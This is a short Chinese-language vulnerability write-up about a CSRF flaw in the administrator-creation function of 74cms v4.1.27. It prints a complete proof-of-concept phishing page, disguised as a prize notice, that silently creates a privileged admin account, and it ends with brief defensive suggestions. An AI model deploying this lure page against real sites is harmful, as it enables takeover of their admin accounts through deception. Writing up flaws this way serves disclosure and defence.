注:本文章只是簡單的發現了74cms[騎士cms] v4.1.27添加管理員時產生的CSRF漏洞
1.正常情況下,管理員會登錄後,進入到【系統】-【網絡管理員】-【添加管理員】中,進行添加管理員。
填寫好相關數據後,管理員正常進行添加。然後我們看看抓取到的數據
然後我嘗試僞造一個假頁面,內容如下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>恭喜你中獎啦</title>
</head>
<body>
<img src="img/bonus.jpg"/>
<form action="http://www.a.com/cms/index.php?m=admin&c=admin&a=add" method="POST" id="transfer" name="transfer">
<input type="hidden" name="username" value="test_hi">
<input type="hidden" name="email" value="[email protected]">
<input type="hidden" name="password" value="admin">
<input type="hidden" name="repassword" value="admin">
<input type="hidden" name="role_id" value="1">
<input type="hidden" name="submit3" value="添加">
<button type="submit" value="Submit">進入領取</button>
</form>
</body>
</html>
顯示效果如下圖:
然後我們誘騙真實的管理員在登錄後,去訪問這個頁面。
當管理員點擊進入領取時,直接就執行了操作,因此實現了一個簡單的CSRF的攻擊。
然後我們可以看到在管理員那一欄目,新增了一個“test_hi”的管理員,密碼由僞造者設置[演示中是admin],如果真正的管理員沒有及時發現,那麼此賬號“test_hi”就可以利用。
嘗試登錄後,就可以看到,登錄成功。
我所想到的防禦:
1.在添加管理時檢測相關參數和頁面來源[Referer],
2.由於管理員權限較高,因此在添加時建議強制要求管理員輸入自己的密碼進行確認。
本文只是講解了74CMS的一個小問題,文章寫得不足不到之處,歡迎大家批評指正。